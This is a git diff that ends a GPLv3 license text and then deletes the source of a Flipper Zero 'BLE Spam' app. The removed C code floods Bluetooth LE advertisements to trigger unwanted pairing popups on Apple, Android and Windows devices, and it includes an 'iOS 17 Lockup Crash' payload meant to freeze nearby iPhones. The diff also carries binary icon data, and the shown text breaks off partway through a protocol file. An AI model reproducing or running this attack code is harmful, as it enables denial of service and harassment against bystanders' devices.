General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/ble_spam/application.fam b/applications/external/ble_spam/application.fam deleted file mode 100644 index d66dbeb14..000000000 --- a/applications/external/ble_spam/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -App( - appid="ble_spam", - name="BLE Spam", - apptype=FlipperAppType.EXTERNAL, - entry_point="ble_spam", - stack_size=4 * 1024, - fap_icon="ble_spam_10px.png", - fap_category="Bluetooth", - fap_author="@Willy-JL @ECTO-1A @Spooks4576", - fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam", - fap_version="2.0", - fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications", - fap_icon_assets="icons", - fap_icon_assets_symbol="ble_spam", -) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c deleted file mode 100644 index 605fc1372..000000000 --- a/applications/external/ble_spam/ble_spam.c +++ /dev/null @@ -1,390 +0,0 @@ -#include -#include -#include - -#include "protocols/_registry.h" - -// Hacked together by @Willy-JL -// Custom adv API by @Willy-JL (idea by @xMasterX) -// iOS 17 Crash by @ECTO-1A -// Android and Windows Pairs by @Spooks4576 and @ECTO-1A -// Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576 -// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam - -typedef struct { - bool random_mac; - const BleSpamProtocol* protocol; - BleSpamMsg msg; -} Payload; - -typedef struct { - const char* title; - const char* text; - Payload payload; -} Attack; - -static Attack attacks[] = { - { - .title = "+ Kitchen Sink", - .text = "Flood all attacks at once", - .payload = - { - .random_mac = true, - .protocol = NULL, - .msg = {}, - }, - }, - { - .title = "iOS 17 Lockup Crash", - .text = "Newer iPhones, long range", - .payload = - { - .random_mac = false, - .protocol = &ble_spam_protocol_continuity, - .msg = - { - .continuity = - { - .type = ContinuityTypeCustomCrash, - .data = {}, - }, - }, - }, - }, - { - .title = "Apple Action Modal", - .text = "Lock cooldown, long range", - .payload = - { - .random_mac = false, - .protocol = &ble_spam_protocol_continuity, - .msg = - { - .continuity = - { - .type = ContinuityTypeNearbyAction, - .data = {}, - }, - }, - }, - }, - { - .title = "Apple Device Popup", - .text = "No cooldown, close range", - .payload = - { - .random_mac = false, - .protocol = &ble_spam_protocol_continuity, - .msg = - { - .continuity = - { - .type = ContinuityTypeProximityPair, - .data = {}, - }, - }, - }, - }, - { - .title = "Android Device Pair", - .text = "~15min cooldown, long range", - .payload = - { - .random_mac = true, - .protocol = &ble_spam_protocol_fastpair, - .msg = - { - .fastpair = {}, - }, - }, - }, - { - .title = "Windows Device Found", - .text = "Requires enabling SwiftPair", - .payload = - { - .random_mac = true, - .protocol = &ble_spam_protocol_swiftpair, - .msg = - { - .swiftpair = {}, - }, - }, - }, -}; - -#define ATTACK_COUNT ((signed)COUNT_OF(attacks)) - -uint16_t delays[] = {20, 50, 100, 200}; - -typedef struct { - bool resume; - bool advertising; - uint8_t delay; - FuriThread* thread; - int8_t index; -} State; - -static int32_t adv_thread(void* ctx) { - State* state = ctx; - uint8_t size; - uint16_t delay; - uint8_t* packet; - uint8_t mac[GAP_MAC_ADDR_SIZE]; - Payload* payload = &attacks[state->index].payload; - if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac)); - - while(state->advertising) { - if(payload->protocol) { - payload->protocol->make_packet(&size, &packet, &payload->msg); - } else { - ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet( - &size, &packet, NULL); - } - furi_hal_bt_custom_adv_set(packet, size); - free(packet); - - if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac)); - delay = delays[state->delay]; - furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F); - furi_thread_flags_wait(true, FuriFlagWaitAny, delay); - furi_hal_bt_custom_adv_stop(); - } - - return 0; -} - -static void toggle_adv(State* state) { - if(state->advertising) { - state->advertising = false; - furi_thread_flags_set(furi_thread_get_id(state->thread), true); - furi_thread_join(state->thread); - if(state->resume) furi_hal_bt_start_advertising(); - } else { - state->resume = furi_hal_bt_is_active(); - furi_hal_bt_stop_advertising(); - state->advertising = true; - furi_thread_start(state->thread); - } -} - -#define PAGE_MIN (-3) -#define PAGE_MAX ATTACK_COUNT -enum { - PageHelpApps = PAGE_MIN, - PageHelpDelay, - PageHelpDistance, - PageStart = 0, - PageEnd = ATTACK_COUNT - 1, - PageAboutCredits = PAGE_MAX, -}; - -static void draw_callback(Canvas* canvas, void* ctx) { - State* state = ctx; - const char* back = "Back"; - const char* next = "Next"; - switch(state->index) { - case PageStart - 1: - next = "Spam"; - break; - case PageStart: - back = "Help"; - break; - case PageEnd: - next = "About"; - break; - case PageEnd + 1: - back = "Spam"; - break; - } - - const Attack* attack = - (state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL; - const Payload* payload = &attack->payload; - const BleSpamProtocol* protocol = (attack && payload->protocol) ? payload->protocol : NULL; - - canvas_set_font(canvas, FontSecondary); - canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble); - canvas_draw_str(canvas, 14, 12, "BLE Spam"); - - switch(state->index) { - case PageHelpApps: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); - elements_text_box( - canvas, - 4, - 16, - 120, - 48, - AlignLeft, - AlignTop, - "\e#Some Apps\e# interfere\n" - "with the attacks, stay on\n" - "homescreen for best results", - false); - break; - case PageHelpDelay: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); - elements_text_box( - canvas, - 4, - 16, - 120, - 48, - AlignLeft, - AlignTop, - "\e#Delay\e# is time between\n" - "attack attempts (top right),\n" - "keep 20ms for best results", - false); - break; - case PageHelpDistance: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); - elements_text_box( - canvas, - 4, - 16, - 120, - 48, - AlignLeft, - AlignTop, - "\e#Distance\e# is limited, attacks\n" - "work under 1 meter but a\n" - "few are marked 'long range'", - false); - break; - case PageAboutCredits: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits"); - elements_text_box( - canvas, - 4, - 16, - 122, - 48, - AlignLeft, - AlignTop, - "App+Spam: \e#WillyJL\e# XFW\n" - "Apple+Crash: \e#ECTO-1A\e#\n" - "Android+Win: \e#Spooks4576\e#\n" - " Version \e#2.0\e#", - false); - break; - default: { - if(!attack) break; - char str[32]; - - canvas_set_font(canvas, FontBatteryPercent); - snprintf(str, sizeof(str), "%ims", delays[state->delay]); - canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str); - canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5); - canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5); - - canvas_set_font(canvas, FontBatteryPercent); - snprintf( - str, - sizeof(str), - "%02i/%02i: %s", - state->index + 1, - ATTACK_COUNT, - protocol ? protocol->get_name(&payload->msg) : "Everything"); - canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 4, 32, attack->title); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 4, 46, attack->text); - - elements_button_center(canvas, state->advertising ? "Stop" : "Start"); - break; - } - } - - if(state->index > PAGE_MIN) { - elements_button_left(canvas, back); - } - if(state->index < PAGE_MAX) { - elements_button_right(canvas, next); - } -} - -static void input_callback(InputEvent* input, void* ctx) { - FuriMessageQueue* input_queue = ctx; - if(input->type == InputTypeShort || input->type == InputTypeLong || - input->type == InputTypeRepeat) { - furi_message_queue_put(input_queue, input, 0); - } -} - -int32_t ble_spam(void* p) { - UNUSED(p); - State* state = malloc(sizeof(State)); - state->thread = furi_thread_alloc(); - furi_thread_set_callback(state->thread, adv_thread); - furi_thread_set_context(state->thread, state); - furi_thread_set_stack_size(state->thread, 4096); - - FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - ViewPort* view_port = view_port_alloc(); - Gui* gui = furi_record_open(RECORD_GUI); - view_port_input_callback_set(view_port, input_callback, input_queue); - view_port_draw_callback_set(view_port, draw_callback, state); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - bool running = true; - while(running) { - InputEvent input; - furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk); - - bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1; - bool advertising = state->advertising; - switch(input.key) { - case InputKeyOk: - if(is_attack) toggle_adv(state); - break; - case InputKeyUp: - if(is_attack && state->delay < COUNT_OF(delays) - 1) { - state->delay++; - } - break; - case InputKeyDown: - if(is_attack && state->delay > 0) { - state->delay--; - } - break; - case InputKeyLeft: - if(state->index > PAGE_MIN) { - if(advertising) toggle_adv(state); - state->index--; - } - break; - case InputKeyRight: - if(state->index < PAGE_MAX) { - if(advertising) toggle_adv(state); - state->index++; - } - break; - case InputKeyBack: - if(advertising) toggle_adv(state); - running = false; - break; - default: - continue; - } - - view_port_update(view_port); - } - - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(input_queue); - - furi_thread_free(state->thread); - free(state); - return 0; -} diff --git a/applications/external/ble_spam/ble_spam_10px.png b/applications/external/ble_spam/ble_spam_10px.png deleted file mode 100644 index a204d1de5100f41acd15c5334f969988866a7828..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4238 zcmeHKdu&rx7{7%LMqvx$P(*}ML>PE`?`>}%yR3|D9b0i7WgBc`Lw0)aX?J0Lti4-1 zP((lll$W49oFWNgVuVP95D~{~%OE1oFwm$mV~C0nFfjrl!2IrQ_fitGME+Zwv-90^ ze&=_-^ZUN@t#^$xKPOQ=T1^l{qCMAE0KIIhRRiJgp}Pz2L)U^!>~6b#3Xu?}2Raf+oHe z-Kzm?`IDf0bHS3CJNq2F!>Q5h7+PmwVLh!ka16~c1`TcEjHw)B0<`M=ZjWT9Em=dK z0hX0wR+iJAm8A&;{cf=e6GWu`#ZA`SlQYINEiBAVA(Lu{SD$je`|RykEQ?02b&hXU z@8!0Y--&mOelz*;oZ|=E+L~SGk2jST4=&CaewV1OsVD{oz7t!2+5?()#m4Rg0t=gfFh z`+?tgm*k#XcA`1`w>uMqDL+qHxrtZJt=zaE{r0%K*Dp-T%a7PE#w(;^%Yc(H^u5pR_*#6_%Hg_i?c9;UP!1tKlBYD*xE zviw1;VRfvICbJ`AtzJ7_tw{?CZmz&KGe!YVR&Avu1vrWdhr_zCLFW&8C?+*Em7?{O zUQYso4AuE06d`?~2{J{L!-hkAPz*?--=~o|k;`8rS+!c2*L3>l4LBTK^uAC`1<-?v zpa8|_Xv*uQdaejb*|k6tbLfF9LPd1}Ocmgezb44z>{{%TCiJ9`FHjeQd?b(P4Jd~K z@p^40@Ljk-O|VMA2t0+Wuop-};2+ZqFNyAMv3mI?&nU;~=?HAs#or6vd3FU1D2Icy z`S}`oQ@hQomHp)eKQ9WLV!AM58QP#HS)-XDS&M-s5$iIN*ksb1^)9mo>y16A?7onM zd_0z^fLtd64^PuPvOpkNJ!VOkWig2u+C*9`X2h~IgDoc1gJO12gsenWJ-w2t1fVkO zEpEZ>Mx={n1d?^J2GZh2JPB?wW&>|@BbQ5|lH ziF8jCiC$bNAz3uWlxk+oCbQ9GFz%&AmJWk%q+nZSr3aYQfjU@GAA zC=+s6I5-Rli{v~7W@Q}C!es?9lKjCUzrV_=?JBxm(+;>!0+NsoNf>tPD#JycWq2yh zaCG!sGM&ROi0-=oLd%y&lLmMQd9E0O{p*yW=#47G)zPQuW0j~}C5=Y86ddBCM+l)> zEGT{gS9FT6L_QCO>JdxV&T;VpsbCUP&8!ha>;;pVWNA5c0zz^=&{)r76Yne^8pqN(57Sqr;V04i5-MGBn8;{wWw0J1`~JjLs9MQUB5;O#$>M zGO#W>2E_|%A=On3W17ij=OKP#v3Q6(0CoQ+ebTpIu70`tq(Gm*{n^zoSDzH<6SzOS z{x`YQ-LF&F2fu>C@Uqn0+SmdwT7#T h9yV-#MO?C{f*{J0;x3Ng=y?L5ggraowlA|{#ox_gndtxk diff --git a/applications/external/ble_spam/icons/android.png b/applications/external/ble_spam/icons/android.png deleted file mode 100644 index efd5b28cbb8212ecec24933f6235c75c68c317b1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5160 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 JH)ZaUzX7jvs(t_f diff --git a/applications/external/ble_spam/icons/ble.png b/applications/external/ble_spam/icons/ble.png deleted file mode 100644 index f5cf3880bc8344c6cdad680afa6a3ab8ab2b47aa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5165 zcmeHLe{dAl9p8f_glm&Q23rOlT+cGfkG*@l`}U_fVz>**(OifjLQ+88efut1xL@3D zau*y0f3?+C0ja*SRu%xporl-5=5OxIxn(F)-l$x z1oC}97}Ll_`qTU!1EAmib|lgki$vILE|aj66pY?=_l|J$>$hAxc*m;7g{>HpO~b5Dm`%N#+MOM< zFFrZvYln*2cefSJ&o7)~cHe63JRw!}ypY=S_)PwLYp=fR_N$gvOf%;`IY5uZ+WiMk zo|*4E@ZMnmcQ5{`zA5^@ z-90DQIbA~ow~CKHedD9EzcpC9T7T+^mPd*Yt9v%+r@qj&?Y5(9ckN&C$o{jxxnu6p zGmC$_?#J2#U-{B=6*B{Kj<+qZl!u@H+q0d`Z{73S;rhQ`Sdd%z{-XPL5Z`S*+t=5B zeBCE!-(J+xT8#a<;@GFd>UFQ*^84VipWS@){BtMq%B@3U_D8?`^h6c&0-u!_|RymqP*8V{tZy1D%jYkxY)VIEaIYYb@G*LSU(%t;<;ny*;|T z3;|c+K#${O^-!o#Clp>kn;^_0qkP%kT+-vQNQfqB3PAIqA3uTL zu@hs?nxLDz&0Ht6NV<};B5Xh7oFDWjW)vgvMb!wriL#(-lDH%|fCTL)Y8NRAp#CfAY4B*THxraQVF zhjOwE$A}sZ1!<#gxMQRZFGjqMN_M$$@r-3B`u`udTRdzX@I%O(?L5fu_m)Z(wTf;k zU6n4AwpU6l>lKA=kdg^`qmNpio`6-_B0WaBn?m;}r|ZbN{TZoXU=?e!s&PC|cn(Xd z#c3jB6Tuo0uwbZ&C==21nS@g?a`h(-7f$3Z^iVfE;4qFy94~Yr zNq6sIxa_dd;2;nSCL{K%dD#_x+xP1O7!qbPOT{#mGl4V}xdCnvVdX`KrPDPr@5lTfu zG|XemyyPazx};n=6IB_jMnXt%h6-hfiAgz4krYma-lr*siUqUO*+(n=b45`cXAE;JG9;`e0HnZqWB~e#(9Ea*ANtDIt^c@07cy z+%+i=Op19byQbVVDGyAFc`CaunY;XBuQq5J{*e^m#l@YOH_yULk1F%4O;PXl2lKDU zi(7!2nQiXMGfeFvcle%ITzd^H&TwM!#u*>@Ybuw7&R8cdz*2oI+R!ogt-H7LwG67B zcJIZD1Fh0e?19!6cEvltj=XvA`?v2ISi<~#eIhsb-iF5pUu)XAezE++)yb!KzN>#w ZUwfn~Fl);N;bvEOtg$t^Z`qyq{Re!!p!fg) diff --git a/applications/external/ble_spam/icons/windows.png b/applications/external/ble_spam/icons/windows.png deleted file mode 100644 index 9b734d16156dd72fc9d57a2d5df50b57b2eb2aab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4478 zcmeHLeQXnD7{6}pgX$JtrVuo67731dy}RDEy*pRNSjSdaVT=NsL-Bg|b~{)<*51}` zL?z%CD2@*ir>Kx1L?R?ah+lvpEMP>y@R9ftokK*_fQeDmi1@tMuG`eaEXsdt`}TeA zeV_ODJkRfa-sgHU) z{dQ>D<4IflLB_9K)C+N>;N<#<@n*f@!0B$gu?PU2a~#)Ey+rhbnw z(wN@UqrkuAT6uYmr@WkuM8g5C89~q+A6(?uBzIim3dyn_7<6ymde zo$)JUP!Jat5dfAoefbj(w0-hb}9v8Mf>ceg)# z?XA*E_lFHP=00)w^L*N|IM#k~+2PIw^GhB&w?MD&>6*>0 zduig+1y6S8&y${8U%e`^QrNmkI)6ib=iK8B8~03Kwdd0N3r8RSuK0rm+r&riymi-z zk(R>KHPf;jy}Q5NQdf2Aq4$oIe)HReXwg@bmakDvbDLJ*SNhAi-!Gk=R6R4{`Eta` ztG&XwLsL#zPri1~@hiK|@w1lpaFJKuxOyg=`O(v{Z%6mjOZNwRdf(nrwB*3~eC7xB z=+^J2mpwmqGqLyOkDTY1{?S10{`#l0pB%ZExq9=?TIYd-cQCbEzHfawex>c_pD%aK zd${zGy6Dc+E8f)!BELcN)#-KKYDozPt+E>SBWofU!TUv&lqMpwvKZ;4A2n(rm*w(1 z?^;Mrby?=yy^J?fj+(TpjwqVbG1I4XELKF-QaagOl8^u(h;*4u1e-%KDdDmhxDv>C zn6{9HioV!ose?2s4@VKnTX`!(RV1`Fn`N?@EQzWCsn$I$1p!wsOOvigB$|%LJmLXDamtim5qZkN`E52%78F_J20+Y;YLJz3 z^FXgKlnPKzp5u9Yz)#r~Mxb~n%TuCXR4E6;a89RP@q-Bi3h#qdR^xG5Y*wa!q^4Qc z1L0`UWvSLet%?2#pB6-ObQzPzIz%Vy;01wq2zL1NE6qdE7$h9VG%BPqqbkxgK$IbI zw4mIG=t!v1n84d2K`=n9jPn$bjd6%YDvu&r4@Z6BaI?#jF1qPyFB~UT)@8S>Be0e( z!@j;UT+FZ%lZ*?)dBds}X#Y2De0azb(1$Ir(qdr0-55%qs5z)5d6m3u){LV>lE$Hs zWF;9wOm0J};U{1vr<5i+)QF&Zq|&u-T>FPqka>X@9fC-)tin>fT~H~JgKScGQL*th zSzr|BVDwlxpvUDXDr*EDfh$N);|4|EW$a+lVC{Gl!rKFcQ7l8THXmb`@I8!A5k_DC z5RoGKg#eVT0Pj#JUJlqOfp_v0&&#Zz;aTK#BsVTi;C~8{`)f|5LM)+iS?t@?68dl3 zo>Ul6M}eB;7}RGd_jJ16r#J(Dujeb3Zr9TUNe&ws62HTA4bwFw28N_OoL$3o4T*sv zDGz7Y|3;U&|A`TW;D=ruo(B*8x~d(XCA0lAD&532{NA*0+d3E-8L6s|!2{@F+)V3> z^KXN}9Npus$hlz7%P1OM{N-9Z42d3hnQ!!|Rh@6;5ln98iH{$?Fe7X3l+El~s&qDb zlgQZ1Z=35;t~Tzj4iu0JAKmUdzoV=8)l2u#* diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h deleted file mode 100644 index d3fbe98ff..000000000 --- a/applications/external/ble_spam/protocols/_base.h +++ /dev/null @@ -1,17 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include "ble_spam_icons.h" -#include -#include - -typedef union BleSpamMsg BleSpamMsg; - -typedef struct { - const Icon* icon; - const char* (*get_name)(const BleSpamMsg* _msg); - void (*make_packet)(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg); -} BleSpamProtocol; diff --git a/applications/external/ble_spam/protocols/_registry.c b/applications/external/ble_spam/protocols/_registry.c deleted file mode 100644 index 3d334fa14..000000000 --- a/applications/external/ble_spam/protocols/_registry.c +++ /dev/null @@ -1,9 +0,0 @@ -#include "_registry.h" - -const BleSpamProtocol* ble_spam_protocols[] = { - &ble_spam_protocol_continuity, - &ble_spam_protocol_fastpair, - &ble_spam_protocol_swiftpair, -}; - -const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols); diff --git a/applications/external/ble_spam/protocols/_registry.h b/applications/external/ble_spam/protocols/_registry.h deleted file mode 100644 index 69070c356..000000000 --- a/applications/external/ble_spam/protocols/_registry.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include "continuity.h" -#include "fastpair.h" -#include "swiftpair.h" - -union BleSpamMsg { - ContinuityMsg continuity; - FastpairMsg fastpair; - SwiftpairMsg swiftpair; -}; - -extern const BleSpamProtocol* ble_spam_protocols[]; - -extern const size_t ble_spam_protocols_count; diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c deleted file mode 100644 index ac0a2aa00..000000000 --- a/applications/external/ble_spam/protocols/continuity.c +++ /dev/null @@ -1,276 +0,0 @@ -#include "continuity.h" -#include "_registry.h" - -// Hacked together by @Willy-JL -// iOS 17 Crash by @ECTO-1A -// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/ -// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ - -static const char* type_names[ContinuityTypeCount] = { - [ContinuityTypeAirDrop] = "AirDrop", - [ContinuityTypeProximityPair] = "Proximity Pair", - [ContinuityTypeAirplayTarget] = "Airplay Target", - [ContinuityTypeHandoff] = "Handoff", - [ContinuityTypeTetheringSource] = "Tethering Source", - [ContinuityTypeNearbyAction] = "Nearby Action", - [ContinuityTypeNearbyInfo] = "Nearby Info", - [ContinuityTypeCustomCrash] = "Custom Packet", -}; -const char* continuity_get_name(const BleSpamMsg* _msg) { - const ContinuityMsg* msg = &_msg->continuity; - return type_names[msg->type]; -} - -#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size -static uint8_t packet_sizes[ContinuityTypeCount] = { - [ContinuityTypeAirDrop] = HEADER_LEN + 18, - [ContinuityTypeProximityPair] 